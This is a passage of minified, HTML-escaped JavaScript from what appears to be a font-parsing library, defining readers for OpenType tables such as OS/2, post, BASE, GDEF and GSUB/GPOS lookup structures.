Array(10)].map(o=&gt;r.uint8),this.ulUnicodeRange1=r.flags(32),this.ulUnicodeRange2=r.flags(32),this.ulUnicodeRange3=r.flags(32),this.ulUnicodeRange4=r.flags(32),this.achVendID=r.tag,this.fsSelection=r.uint16,this.usFirstCharIndex=r.uint16,this.usLastCharIndex=r.uint16,this.sTypoAscender=r.int16,this.sTypoDescender=r.int16,this.sTypoLineGap=r.int16,this.usWinAscent=r.uint16,this.usWinDescent=r.uint16,this.version===0||(this.ulCodePageRange1=r.flags(32),this.ulCodePageRange2=r.flags(32),this.version===1)||(this.sxHeight=r.int16,this.sCapHeight=r.int16,this.usDefaultChar=r.uint16,this.usBreakChar=r.uint16,this.usMaxContext=r.uint16,this.version&lt;=4)||(this.usLowerOpticalPointSize=r.uint16,this.usUpperOpticalPointSize=r.uint16,this.version===5))return r.verifyLength()}},Kbe=Object.freeze({__proto__:null,OS2:Zbe}),Xbe=class extends qe{constructor(e,t){let{p:r}=super(e,t);if(this.version=r.legacyFixed,this.italicAngle=r.fixed,this.underlinePosition=r.fword,this.underlineThickness=r.fword,this.isFixedPitch=r.uint32,this.minMemType42=r.uint32,this.maxMemType42=r.uint32,this.minMemType1=r.uint32,this.maxMemType1=r.uint32,this.version===1||this.version===3)return r.verifyLength();if(this.numGlyphs=r.uint16,this.version===2){this.glyphNameIndex=[...new Array(this.numGlyphs)].map(o=&gt;r.uint16),this.namesOffset=r.currentPosition,this.glyphNameOffsets=[1];for(let o=0;o&lt;this.numGlyphs;o++){if(this.glyphNameIndex[o]&lt;fU.length){this.glyphNameOffsets.push(this.glyphNameOffsets[o]);continue}let i=r.int8;r.skip(i),this.glyphNameOffsets.push(this.glyphNameOffsets[o]+i+1)}}this.version===2.5&amp;&amp;(this.offset=[...new Array(this.numGlyphs)].map(o=&gt;r.int8))}getGlyphName(e){if(this.version!==2)return console.warn(`post table version ${this.version} does not support glyph name lookups`),&quot;&quot;;let t=this.glyphNameIndex[e];if(t&lt;258)return fU[t];let r=this.glyphNameOffsets[e],n=this.glyphNameOffsets[e+1]-r-1;return n===0?&quot;.notdef.&quot;:(this.parser.currentPosition=this.namesOffset+r,this.parser.readBytes(n,this.namesOffset+r,8,!0).map(a=&gt;String.fromCharCode(a)).join(&quot;&quot;))}},fU=[&quot;.notdef&quot;,&quot;.null&quot;,&quot;nonmarkingreturn&quot;,&quot;space&quot;,&quot;exclam&quot;,&quot;quotedbl&quot;,&quot;numbersign&quot;,&quot;dollar&quot;,&quot;percent&quot;,&quot;ampersand&quot;,&quot;quotesingle&quot;,&quot;parenleft&quot;,&quot;parenright&quot;,&quot;asterisk&quot;,&quot;plus&quot;,&quot;comma&quot;,&quot;hyphen&quot;,&quot;period&quot;,&quot;slash&quot;,&quot;zero&quot;,&quot;one&quot;,&quot;two&quot;,&quot;three&quot;,&quot;four&quot;,&quot;five&quot;,&quot;six&quot;,&quot;seven&quot;,&quot;eight&quot;,&quot;nine&quot;,&quot;colon&quot;,&quot;semicolon&quot;,&quot;less&quot;,&quot;equal&quot;,&quot;greater&quot;,&quot;question&quot;,&quot;at&quot;,&quot;A&quot;,&quot;B&quot;,&quot;C&quot;,&quot;D&quot;,&quot;E&quot;,&quot;F&quot;,&quot;G&quot;,&quot;H&quot;,&quot;I&quot;,&quot;J&quot;,&quot;K&quot;,&quot;L&quot;,&quot;M&quot;,&quot;N&quot;,&quot;O&quot;,&quot;P&quot;,&quot;Q&quot;,&quot;R&quot;,&quot;S&quot;,&quot;T&quot;,&quot;U&quot;,&quot;V&quot;,&quot;W&quot;,&quot;X&quot;,&quot;Y&quot;,&quot;Z&quot;,&quot;bracketleft&quot;,&quot;backslash&quot;,&quot;bracketright&quot;,&quot;asciicircum&quot;,&quot;underscore&quot;,&quot;grave&quot;,&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;braceleft&quot;,&quot;bar&quot;,&quot;braceright&quot;,&quot;asciitilde&quot;,&quot;Adieresis&quot;,&quot;Aring&quot;,&quot;Ccedilla&quot;,&quot;Eacute&quot;,&quot;Ntilde&quot;,&quot;Odieresis&quot;,&quot;Udieresis&quot;,&quot;aacute&quot;,&quot;agrave&quot;,&quot;acircumflex&quot;,&quot;adieresis&quot;,&quot;atilde&quot;,&quot;aring&quot;,&quot;ccedilla&quot;,&quot;eacute&quot;,&quot;egrave&quot;,&quot;ecircumflex&quot;,&quot;edieresis&quot;,&quot;iacute&quot;,&quot;igrave&quot;,&quot;icircumflex&quot;,&quot;idieresis&quot;,&quot;ntilde&quot;,&quot;oacute&quot;,&quot;ograve&quot;,&quot;ocircumflex&quot;,&quot;odieresis&quot;,&quot;otilde&quot;,&quot;uacute&quot;,&quot;ugrave&quot;,&quot;ucircumflex&quot;,&quot;udieresis&quot;,&quot;dagger&quot;,&quot;degree&quot;,&quot;cent&quot;,&quot;sterling&quot;,&quot;section&quot;,&quot;bullet&quot;,&quot;paragraph&quot;,&quot;germandbls&quot;,&quot;registered&quot;,&quot;copyright&quot;,&quot;trademark&quot;,&quot;acute&quot;,&quot;dieresis&quot;,&quot;notequal&quot;,&quot;AE&quot;,&quot;Oslash&quot;,&quot;infinity&quot;,&quot;plusminus&quot;,&quot;lessequal&quot;,&quot;greaterequal&quot;,&quot;yen&quot;,&quot;mu&quot;,&quot;partialdiff&quot;,&quot;summation&quot;,&quot;product&quot;,&quot;pi&quot;,&quot;integral&quot;,&quot;ordfeminine&quot;,&quot;ordmasculine&quot;,&quot;Omega&quot;,&quot;ae&quot;,&quot;oslash&quot;,&quot;questiondown&quot;,&quot;exclamdown&quot;,&quot;logicalnot&quot;,&quot;radical&quot;,&quot;florin&quot;,&quot;approxequal&quot;,&quot;Delta&quot;,&quot;guillemotleft&quot;,&quot;guillemotright&quot;,&quot;ellipsis&quot;,&quot;nonbreakingspace&quot;,&quot;Agrave&quot;,&quot;Atilde&quot;,&quot;Otilde&quot;,&quot;OE&quot;,&quot;oe&quot;,&quot;endash&quot;,&quot;emdash&quot;,&quot;quotedblleft&quot;,&quot;quotedblright&quot;,&quot;quoteleft&quot;,&quot;quoteright&quot;,&quot;divide&quot;,&quot;lozenge&quot;,&quot;ydieresis&quot;,&quot;Ydieresis&quot;,&quot;fraction&quot;,&quot;currency&quot;,&quot;guilsinglleft&quot;,&quot;guilsinglright&quot;,&quot;fi&quot;,&quot;fl&quot;,&quot;daggerdbl&quot;,&quot;periodcentered&quot;,&quot;quotesinglbase&quot;,&quot;quotedblbase&quot;,&quot;perthousand&quot;,&quot;Acircumflex&quot;,&quot;Ecircumflex&quot;,&quot;Aacute&quot;,&quot;Edieresis&quot;,&quot;Egrave&quot;,&quot;Iacute&quot;,&quot;Icircumflex&quot;,&quot;Idieresis&quot;,&quot;Igrave&quot;,&quot;Oacute&quot;,&quot;Ocircumflex&quot;,&quot;apple&quot;,&quot;Ograve&quot;,&quot;Uacute&quot;,&quot;Ucircumflex&quot;,&quot;Ugrave&quot;,&quot;dotlessi&quot;,&quot;circumflex&quot;,&quot;tilde&quot;,&quot;macron&quot;,&quot;breve&quot;,&quot;dotaccent&quot;,&quot;ring&quot;,&quot;cedilla&quot;,&quot;hungarumlaut&quot;,&quot;ogonek&quot;,&quot;caron&quot;,&quot;Lslash&quot;,&quot;lslash&quot;,&quot;Scaron&quot;,&quot;scaron&quot;,&quot;Zcaron&quot;,&quot;zcaron&quot;,&quot;brokenbar&quot;,&quot;Eth&quot;,&quot;eth&quot;,&quot;Yacute&quot;,&quot;yacute&quot;,&quot;Thorn&quot;,&quot;thorn&quot;,&quot;minus&quot;,&quot;multiply&quot;,&quot;onesuperior&quot;,&quot;twosuperior&quot;,&quot;threesuperior&quot;,&quot;onehalf&quot;,&quot;onequarter&quot;,&quot;threequarters&quot;,&quot;franc&quot;,&quot;Gbreve&quot;,&quot;gbreve&quot;,&quot;Idotaccent&quot;,&quot;Scedilla&quot;,&quot;scedilla&quot;,&quot;Cacute&quot;,&quot;cacute&quot;,&quot;Ccaron&quot;,&quot;ccaron&quot;,&quot;dcroat&quot;],Qbe=Object.freeze({__proto__:null,post:Xbe}),Jbe=class extends qe{constructor(e,t){let{p:r}=super(e,t);this.majorVersion=r.uint16,this.minorVersion=r.uint16,this.horizAxisOffset=r.Offset16,this.vertAxisOffset=r.Offset16,we(this,&quot;horizAxis&quot;,()=&gt;new D6({offset:e.offset+this.horizAxisOffset},t)),we(this,&quot;vertAxis&quot;,()=&gt;new D6({offset:e.offset+this.vertAxisOffset},t)),this.majorVersion===1&amp;&amp;this.minorVersion===1&amp;&amp;(this.itemVarStoreOffset=r.Offset32,we(this,&quot;itemVarStore&quot;,()=&gt;new D6({offset:e.offset+this.itemVarStoreOffset},t)))}},D6=class extends qe{constructor(e,t){let{p:r}=super(e,t,&quot;AxisTable&quot;);this.baseTagListOffset=r.Offset16,this.baseScriptListOffset=r.Offset16,we(this,&quot;baseTagList&quot;,()=&gt;new $be({offset:e.offset+this.baseTagListOffset},t)),we(this,&quot;baseScriptList&quot;,()=&gt;new e0e({offset:e.offset+this.baseScriptListOffset},t))}},$be=class extends qe{constructor(e,t){let{p:r}=super(e,t,&quot;BaseTagListTable&quot;);this.baseTagCount=r.uint16,this.baselineTags=[...new Array(this.baseTagCount)].map(o=&gt;r.tag)}},e0e=class extends qe{constructor(e,t){let{p:r}=super(e,t,&quot;BaseScriptListTable&quot;);this.baseScriptCount=r.uint16;let o=r.currentPosition;we(this,&quot;baseScriptRecords&quot;,()=&gt;(r.currentPosition=o,[...new Array(this.baseScriptCount)].map(n=&gt;new t0e(this.start,r))))}},t0e=class{constructor(e,t){this.baseScriptTag=t.tag,this.baseScriptOffset=t.Offset16,we(this,&quot;baseScriptTable&quot;,()=&gt;(t.currentPosition=e+this.baseScriptOffset,new r0e(t)))}},r0e=class{constructor(e){this.start=e.currentPosition,this.baseValuesOffset=e.Offset16,this.defaultMinMaxOffset=e.Offset16,this.baseLangSysCount=e.uint16,this.baseLangSysRecords=[...new Array(this.baseLangSysCount)].map(t=&gt;new o0e(this.start,e)),we(this,&quot;baseValues&quot;,()=&gt;(e.currentPosition=this.start+this.baseValuesOffset,new n0e(e))),we(this,&quot;defaultMinMax&quot;,()=&gt;(e.currentPosition=this.start+this.defaultMinMaxOffset,new SU(e)))}},o0e=class{constructor(e,t){this.baseLangSysTag=t.tag,this.minMaxOffset=t.Offset16,we(this,&quot;minMax&quot;,()=&gt;(t.currentPosition=e+this.minMaxOffset,new SU(t)))}},n0e=class{constructor(e){this.parser=e,this.start=e.currentPosition,this.defaultBaselineIndex=e.uint16,this.baseCoordCount=e.uint16,this.baseCoords=[...new Array(this.baseCoordCount)].map(t=&gt;e.Offset16)}getTable(e){return this.parser.currentPosition=this.start+this.baseCoords[e],new s0e(this.parser)}},SU=class{constructor(e){this.minCoord=e.Offset16,this.maxCoord=e.Offset16,this.featMinMaxCount=e.uint16;let t=e.currentPosition;we(this,&quot;featMinMaxRecords&quot;,()=&gt;(e.currentPosition=t,[...new Array(this.featMinMaxCount)].map(r=&gt;new i0e(e))))}},i0e=class{constructor(e){this.featureTableTag=e.tag,this.minCoord=e.Offset16,this.maxCoord=e.Offset16}},s0e=class{constructor(e){this.baseCoordFormat=e.uint16,this.coordinate=e.int16,this.baseCoordFormat===2&amp;&amp;(this.referenceGlyph=e.uint16,this.baseCoordPoint=e.uint16),this.baseCoordFormat===3&amp;&amp;(this.deviceTable=e.Offset16)}},a0e=Object.freeze({__proto__:null,BASE:Jbe}),mU=class{constructor(e){this.classFormat=e.uint16,this.classFormat===1&amp;&amp;(this.startGlyphID=e.uint16,this.glyphCount=e.uint16,this.classValueArray=[...new Array(this.glyphCount)].map(t=&gt;e.uint16)),this.classFormat===2&amp;&amp;(this.classRangeCount=e.uint16,this.classRangeRecords=[...new Array(this.classRangeCount)].map(t=&gt;new l0e(e)))}},l0e=class{constructor(e){this.startGlyphID=e.uint16,this.endGlyphID=e.uint16,this.class=e.uint16}},Eb=class extends pr{constructor(e){super(e),this.coverageFormat=e.uint16,this.coverageFormat===1&amp;&amp;(this.glyphCount=e.uint16,this.glyphArray=[...new Array(this.glyphCount)].map(t=&gt;e.uint16)),this.coverageFormat===2&amp;&amp;(this.rangeCount=e.uint16,this.rangeRecords=[...new Array(this.rangeCount)].map(t=&gt;new c0e(e)))}},c0e=class{constructor(e){this.startGlyphID=e.uint16,this.endGlyphID=e.uint16,this.startCoverageIndex=e.uint16}},u0e=class{constructor(e,t){this.table=e,this.parser=t,this.start=t.currentPosition,this.format=t.uint16,this.variationRegionListOffset=t.Offset32,this.itemVariationDataCount=t.uint16,this.itemVariationDataOffsets=[...new Array(this.itemVariationDataCount)].map(r=&gt;t.Offset32)}},d0e=class extends qe{constructor(e,t){let{p:r}=super(e,t);this.majorVersion=r.uint16,this.minorVersion=r.uint16,this.glyphClassDefOffset=r.Offset16,we(this,&quot;glyphClassDefs&quot;,()=&gt;{if(this.glyphClassDefOffset!==0)return r.currentPosition=this.tableStart+this.glyphClassDefOffset,new mU(r)}),this.attachListOffset=r.Offset16,we(this,&quot;attachList&quot;,()=&gt;{if(this.attachListOffset!==0)return r.currentPosition=this.tableStart+this.attachListOffset,new f0e(r)}),this.ligCaretListOffset=r.Offset16,we(this,&quot;ligCaretList&quot;,()=&gt;{if(this.ligCaretListOffset!==0)return r.currentPosition=this.tableStart+this.ligCaretListOffset,new p0e(r)}),this.markAttachClassDefOffset=r.Offset16,we(this,&quot;markAttachClassDef&quot;,()=&gt;{if(this.markAttachClassDefOffset!==0)return r.currentPosition=this.tableStart+this.markAttachClassDefOffset,new mU(r)}),this.minorVersion&gt;=2&amp;&amp;(this.markGlyphSetsDefOffset=r.Offset16,we(this,&quot;markGlyphSetsDef&quot;,()=&gt;{if(this.markGlyphSetsDefOffset!==0)return r.currentPosition=this.tableStart+this.markGlyphSetsDefOffset,new v0e(r)})),this.minorVersion===3&amp;&amp;(this.itemVarStoreOffset=r.Offset32,we(this,&quot;itemVarStore&quot;,()=&gt;{if(this.itemVarStoreOffset!==0)return r.currentPosition=this.tableStart+this.itemVarStoreOffset,new u0e(r)}))}},f0e=class extends pr{constructor(e){super(e),this.coverageOffset=e.Offset16,this.glyphCount=e.uint16,this.attachPointOffsets=[...new Array(this.glyphCount)].map(t=&gt;e.Offset16)}getPoint(e){return this.parser.currentPosition=this.start+this.attachPointOffsets[e],new m0e(this.parser)}},m0e=class{constructor(e){this.pointCount=e.uint16,this.pointIndices=[...new Array(this.pointCount)].map(t=&gt;e.uint16)}},p0e=class extends pr{constructor(e){super(e),this.coverageOffset=e.Offset16,we(this,&quot;coverage&quot;,()=&gt;(e.currentPosition=this.start+this.coverageOffset,new Eb(e))),this.ligGlyphCount=e.uint16,this.ligGlyphOffsets=[...new Array(this.ligGlyphCount)].map(t=&gt;e.Offset16)}getLigGlyph(e){return this.parser.currentPosition=this.start+this.ligGlyphOffsets[e],new h0e(this.parser)}},h0e=class extends pr{constructor(e){super(e),this.caretCount=e.uint16,this.caretValueOffsets=[...new Array(this.caretCount)].map(t=&gt;e.Offset16)}getCaretValue(e){return this.parser.currentPosition=this.start+this.caretValueOffsets[e],new g0e(this.parser)}},g0e=class{constructor(e){this.caretValueFormat=e.uint16,this.caretValueFormat===1&amp;&amp;(this.coordinate=e.int16),this.caretValueFormat===2&amp;&amp;(this.caretValuePointIndex=e.uint16),this.caretValueFormat===3&amp;&amp;(this.coordinate=e.int16,this.deviceOffset=e.Offset16)}},v0e=class extends pr{constructor(e){super(e),this.markGlyphSetTableFormat=e.uint16,this.markGlyphSetCount=e.uint16,this.coverageOffsets=[...new Array(this.markGlyphSetCount)].map(t=&gt;e.Offset32)}getMarkGlyphSet(e){return this.parser.currentPosition=this.start+this.coverageOffsets[e],new Eb(this.parser)}},y0e=Object.freeze({__proto__:null,GDEF:d0e}),pU=class extends pr{static EMPTY={scriptCount:0,scriptRecords:[]};constructor(e){super(e),this.scriptCount=e.uint16,this.scriptRecords=[...new Array(this.scriptCount)].map(t=&gt;new b0e(e))}},b0e=class{constructor(e){this.scriptTag=e.tag,this.scriptOffset=e.Offset16}},S0e=class extends pr{constructor(e){super(e),this.defaultLangSys=e.Offset16,this.langSysCount=e.uint16,this.langSysRecords=[...new Array(this.langSysCount)].map(t=&gt;new _0e(e))}},_0e=class{constructor(e){this.langSysTag=e.tag,this.langSysOffset=e.Offset16}},hU=class{constructor(e){this.lookupOrder=e.Offset16,this.requiredFeatureIndex=e.uint16,this.featureIndexCount=e.uint16,this.featureIndices=[...new Array(this.featureIndexCount)].map(t=&gt;e.uint16)}},gU=class extends pr{static EMPTY={featureCount:0,featureRecords:[]};constructor(e){super(e),this.featureCount=e.uint16,this.featureRecords=[...new Array(this.featureCount)].map(t=&gt;new w0e(e))}},w0e=class{constructor(e){this.featureTag=e.tag,this.featureOffset=e.Offset16}},x0e=class extends pr{constructor(e){super(e),this.featureParams=e.Offset16,this.lookupIndexCount=e.uint16,this.lookupListIndices=[...new Array(this.lookupIndexCount)].map(t=&gt;e.uint16)}getFeatureParams(){if(this.featureParams&gt;0){let e=this.parser;e.currentPosition=this.start+this.featureParams;let t=this.featureTag;if(t===&quot;size&quot;)return new T0e(e);if(t.startsWith(&quot;cc&quot;))return new C0e(e);if(t.startsWith(&quot;ss&quot;))return new P0e(e)}}},C0e=class{constructor(e){this.format=e.uint16,this.featUiLabelNameId=e.uint16,this.featUiTooltipTextNameId=e.uint16,this.sampleTextNameId=e.uint16,this.numNamedParameters=e.uint16,this.firstParamUiLabelNameId=e.uint16,this.charCount=e.uint16,this.character=[...new Array(this.charCount)].map(t=&gt;e.uint24)}},T0e=class{constructor(e){this.designSize=e.uint16,this.subfamilyIdentifier=e.uint16,this.subfamilyNameID=e.uint16,this.smallEnd=e.uint16,this.largeEnd=e.uint16}},P0e=class{constructor(e){this.version=e.uint16,this.UINameID=e.uint16}};function _U(e){e.parser.currentPosition-=2,delete e.coverageOffset,delete e.getCoverageTable}var Vf=class extends pr{constructor(e){super(e),this.substFormat=e.uint16,this.coverageOffset=e.Offset16}getCoverageTable(){let e=this.parser;return e.currentPosition=this.start+this.coverageOffset,new Eb(e)}},M6=class{constructor(e){this.glyphSequenceIndex=e.uint16,this.lookupListIndex=e.uint16}},k0e=class extends Vf{constructor(e){super(e),this.deltaGlyphID=e.int16}},E0e=class extends Vf{constructor(e){super(e),this.sequenceCount=e.uint16,this.sequenceOffsets=[...new Array(this.sequenceCount)].map(t=&gt;e.Offset16)}getSequence(e){let t=this.parser;return t.currentPosition=this.start+this.sequenceOffsets[e],new R0e(t)}},R0e=class{constructor(e){this.glyphCount=e.uint16,this.substituteGlyphIDs=[...new Array(this.glyphCount)].map(t=&gt;e.uint16)}},A0e=class extends Vf{constructor(e){super(e),this.alternateSetCount=e.uint16,this.alternateSetOffsets=[...new Array(this.alternateSetCount)].map(t=&gt;e.Offset16)}getAlternateSet(e){let t=this.parser;return t.currentPosition=this.start+this.alternateSetOffsets[e],new O0e(t)}},O0e=class{constructor(e){this.glyphCount=e.uint16,this.alternateGlyphIDs=[...new Array(this.glyphCount)].map(t=&gt;e.uint16)}},I0e=class extends Vf{constructor(e){super(e),this.ligatureSetCount=e.uint16,this.ligatureSetOffsets=[...new Array(this.ligatureSetCount)].map(t=&gt;e.Offset16)}getLigatureSet(e){let t=this.parser;return t.currentPosition=this.start+this.ligatureSetOffsets[e],new N0e(t)}},N0e=class extends pr{constructor(e){super(e),this.ligatureCount=e.uint16,this.ligatureOffsets=[...new Array(this.ligatureCount)].map(t=&gt;e.Offset16)}getLigature(e){let t=this.parser;return t.currentPosition=this.start+this.ligatureOffsets[e],new F0e(t)}},F0e=class{constructor(e){this.ligatureGlyph=e.uint16,this.componentCount=e.uint16,this.componentGlyphIDs=[...new Array(this.componentCount-1)].map(t=&gt;e.uint16)}},D0e=class extends Vf{constructor(e){super(e),this.substFormat===1&amp;&amp;(this.subRuleSetCount=e.uint16,this.subRuleSetOffsets=[...new Array(this.subRuleSetCount)].map(t=&gt;e.Offset16)),this.substFormat===2&amp;&amp;(this.classDefOffset=e.Offset16,this.subClassSetCount=e.uint16,this.subClassSetOffsets=[...new Array(this.subClassSetCount)].map(t=&gt;e.Offset16)),this.substFormat===3&amp;&amp;(_U(this),this.glyphCount=e.uint16,this.substitutionCount=e.uint16,this.coverageOffsets=[...new Array(this.glyphCount)].map(t=&gt;e.Offset16),this.substLookupRecords=[...new Array(this.substitutionCount)].map(t=&gt;new M6(e)))}getSubRuleSet(e){if(this.substFormat!==1)throw new Error(`lookup type 5.${this.substFormat} has no subrule sets.`);let t=this.parser;return t.currentPosition=this.start+this.subRuleSetOffsets[e],new B0e(t)}getSubClassSet(e){if(this.substFormat!==2)throw new Error(`lookup type 5.${this.substFormat} has no subclass sets.`);let t=this.parser;return t.currentPosition=this.start+this.subClassSetOffsets[e],new M0e(t)}getCoverageTable(e){if(this.substFormat!==3&amp;&amp;!e)return super.getCoverageTable();if(!e)throw new Error(`lookup type 5.${this.substFormat} requires an coverage table index.`);let t=this.parser;return t.currentPosition=this.start+this.coverageOffsets[e],new Eb(t)}},B0e=class extends pr{constructor(e){super(e),this.subRuleCount=e.uint16,this.subRuleOffsets=[...new Array(this.subRuleCount)].map(t=&gt;e.Offset16)}getSubRule(e){let t=this.parser;return t.currentPosition=this.start+this.subRuleOffsets[e],new wU(t)}},wU=class{constructor(e){this.glyphCount=e.uint16,this.substitutionCount=e.uint16,this.inputSequence=[...new Array(this.glyphCount-1)].map(t=&gt;e.uint16),this.substLookupRecords=[...new Array(this.substitutionCount)].map(t=&gt;new M6(e))}},M0e=class extends pr{constructor(e){super(e),this.subClassRuleCount=e.uint16,this.subClassRuleOffsets=[...new Array(this.subClassRuleCount)].map(t=&gt;e.Offset16)}getSubClass(e){let t=this.parser;return t.currentPosition=this.start+this.subClassRuleOffsets[e],new L0e(t)}},L0e=class extends wU{constructor(e){super(e)}},V0e=class extends Vf{constructor(e){super(e),this.substFormat===1&amp;&amp;(this.chainSubRuleSetCount=e.uint16,this.chainSubRuleSetOffsets=[...new Array(this.chainSubRuleSetCount)].map(t=&gt;e.Offset16)),this.substFormat===2&amp;&amp;(this.backtrackClassDefOffset=e.Offset16,this.inputClassDefOffset=e.Offset16,this.lookaheadClassDefOffset=e.Offset16,this.chainSubClassSetCount=e.uint16,this.chainSubClassSetOffsets=[...new Array(this.chainSubClassSetCount)].map(t=&gt;e.Offset16)),this.substFormat===3&amp;&amp;(_U(this),this.backtrackGlyphCount=e.uint16,this.backtrackCoverageOffsets=[...new Array(this.backtrackGlyphCount)].map(t=&gt;e.Offset16),this.inputGlyphCount=e.uint16,this.inputCoverageOffsets=[...new Array(this.inputGlyphCount)].map(t=&gt;e.Offset16),this.lookaheadGlyphCount=e.uint16,this.lookaheadCoverageOffsets=[...new Array(this.lookaheadGlyphCount)].map(t=&gt;e.Offset16),this.seqLookupCount=e.uint16,this.seqLookupRecords=[...new Array(this.substitutionCount)].map(t=&gt;new xU(e)))}getChainSubRuleSet(e){if(this.substFormat!==1)throw new Error(`lookup type 6.${this.substFormat} has no chainsubrule sets.`);let t=this.parser;return t.currentPosition=this.start+this.chainSubRuleSetOffsets[e],new j0e(t)}getChainSubClassSet(e){if(this.substFormat!==2)throw new Error(`lookup type 6.${this.substFormat} has no chainsubclass sets.`);let t=this.parser;return t.currentPosition=this.start+this.chainSubClassSetOffsets[e],new U0e(t)}getCoverageFromOffset(e){if(this.substFormat!==3)throw new Error(`lookup type 6.${this.substFormat} does not use contextual coverage offsets.`);let t=this.parser;return t.currentPosition=this.start+e,new Eb(t)}},j0e=class extends pr{constructor(e){super(e),this.chainSubRuleCount=e.uint16,this.chainSubRuleOffsets=[...new Array(this.chainSubRuleCount)].map(t=&gt;e.Offset16)}getSubRule(e){let t=this.parser;return t.currentPosition=this.start+this.chainSubRuleOffsets[e],new z0e(t)}},z0e=class{constructor(e){this.backtrackGlyphCount=e.uint16,this.backtrackSequence=[...new Array(this.backtrackGlyphCount)].map(t=&gt;e.uint16),this.inputGlyphCount=e.uint16,this.inputSequence=[...new Array(this.inputGlyphCount-1)].map(t=&gt;e.uint16),this.lookaheadGlyphCount=e.uint16,this.lookAheadSequence=[...new Array(this.lookAheadGlyphCount)].map(t=&gt;e.uint16),this.substitutionCount=e.uint16,this.substLookupRecords=[...new Array(this.SubstCount)].map(t=&gt;new M6(e))}},U0e=class extends pr{constructor(e){super(e),this.chainSubClassRuleCount=e.uint16,this.chainSubClassRuleOffsets=[...new Array(this.chainSubClassRuleCount)].map(t=&gt;e.Offset16)}getSubClass(e){let t=this.parser;return t.currentPosition=this.start+this.chainSubRuleOffsets[e],new H0e(t)}},H0e=class{constructor(e){this.backtrackGlyphCount=e.uint16,this.backtrackSequence=[...new Array(this.backtrackGlyphCount)].map(t=&gt;e.uint16),this.inputGlyphCount=e.uint16,this.inputSequence=[...new Array(this.inputGlyphCount-1)].map(t=&gt;e.uint16),this.lookaheadGlyphCount=e.uint16,this.lookAheadSequence=[...new Array(this.lookAheadGlyphCount)].map(t=&gt;e.uint16),this.substitutionCount=e.uint16,this.substLookupRecords=[...new Array(this.substitutionCount)].map(t=&gt;new xU(e))}},xU=class extends pr{constructor(e){super(e),this.sequenceIndex=e.uint16,this.lookupListIndex=e.uint16}},G0e=class extends pr{constructor(e){super(e),this.substFormat=e.uint16,this.extensionLookupType=e.uint16,this.extensionOffset=e.Offset32}},W0e=class extends Vf{constructor(e){super(e),this.backtrackGlyphCount=e.uint16,this.backtrackCoverageOffsets=[...new Array(this.backtrackGlyphCount)].map(t=&gt;e.Offset16),this.lookaheadGlyphCount=e.uint16,this.lookaheadCoverageOffsets=[new Array(this.lookaheadGlyphCount)].map(t=&gt;e.Offset16),this.glyphCount=e.uint16,this.substituteGlyphIDs=[...new Array(this.glyphCount)].map(t=&gt;e.uint16)}},Y0e={buildSubtable:function(e,t){let r=new[void 0,k0e,E0e,A0e,I0e,D0e,V0e,G0e,W0e][e](t);return r.type=e,r}},ec=class extends pr{constructor(e){super(e)}},q0e=class extends ec{constructor(e){super(e),console.log(&quot;lookup type 1&quot;)}},Z0e=class extends ec{constructor(e){super(e),console.log(&quot;lookup type 2&quot;)}},K0e=class extends ec{constructor(e){super(e),console.log(&quot;lookup type 3&quot;)}},X0e=class extends ec{constructor(e){super(e),console.log(&quot;lookup type 4&quot;)}},Q0e=class extends ec{constructor(e){super(e),console.log(&quot;lookup type 5&quot;)}},J0e=class extends ec{constructor(e){super(e),console.log(&quot;lookup type 6&quot;)}},$0e=class extends ec{constructor(e){super(e),console.log(&quot;lookup type 7&quot;)}},e1e=class extends ec{constructor(e){super(e),console.log(&quot;lookup type 8&quot;)}},t1e=class extends ec{constructor(e){super(e),console.log(&quot;lookup type 9&quot;)}},r1e={buildSubtable:function(e,t){let r=new[void 0,q0e,Z0e,K0e,X0e,Q0e,J0e,$0e,e1e,t1e][e](t);return r.type=e,r}},vU=class extends pr{static EMPTY={lookupCount:0,lookups:[]};constructor(e){super(e),this.lookupCount=e.uint16,this.lookups=[...new Array(this.lookupCount)].map(t=&gt;e.Offset16)}},o1e=class extends pr{constructor(e,t){super(e),this.ctType=t,this.lookupType=e.uint16,this.lookupFlag=e.uint16,this.subTableCount=e.uint16,this.subtableOffsets=[...new Array(this.subTableCount)].map(r=&gt;e.Offset16),this.markFilteringSet=e.uint16}get rightToLeft(){return this.lookupFlag&amp;!0}get ignoreBaseGlyphs(){return this.lookupFlag&amp;!0}get ignoreLigatures(){return this.lookupFlag&amp;!0}get ignoreMarks(){return this.lookupFlag&amp;!0}get useMarkFilteringSet(){return this.lookupFlag&amp;!0}get markAttachmentType(){return this.lookupFlag&amp;!0}getSubTable(e){let t=this.ctType===&quot;GSUB&quot;?Y0e:r1e;return this.parser.currentPosition=this.start+this.subtableOffsets[e],t.buildSubtable(this.lookupType,this.parser)}},CU=class extends qe{constructor(e,t,r){let{p:o,tableStart:n}=super(e,t,r);this.majorVersion=o.uint16,this.minorVersion=o.uint16,this.scriptListOffset=o.Offset16,this.featureListOffset=o.Offset16,this.lookupListOffset=o.Offset16,this.majorVersion===1&amp;&amp;this.minorVersion===1&amp;&amp;(this.featureVariationsOffset=o.Offset32);let i=!(this.scriptListOffset||this.featureListOffset||this.lookupListOffset);we(this,&quot;scriptList&quot;,()=&gt;i?pU.EMPTY:(o.currentPosition=n+this.scriptListOffset,new pU(o))),we(this,&quot;featureList&quot;,()=&gt;i?gU.EMPTY:(o.currentPosition=n+this.featureListOffset,new gU(o))),we(this,&quot;lookupList&quot;,()=&gt;i?vU.EMPTY:(o.currentPosition=n+this.lookupListOffset,new vU(o))),this.featureVariationsOffset&amp;&amp;we(this,&quot;featureVariations&quot;,()=&gt;i?FeatureVariations.EMPTY:(o.currentPosition=n+this.featureVariationsOffset,new FeatureVariations(o)))}getSupportedScripts(){return this.scriptList.scriptRecords.map(e=&gt;e.scriptTag)}getScriptTable(e){let t=this.scriptList.scriptRecords.find(o=&gt;o.scriptTag===e);this.parser.currentPosition=this.scriptList.start+t.scriptOffset;let r=new S0e(this.parser);return r.scriptTag=e,r}ensureScriptTable(e){return typeof e==&quot;string&quot;?this.getScriptTable(e):e}getSupportedLangSys(e){e=this.ensureScriptTable(e);let 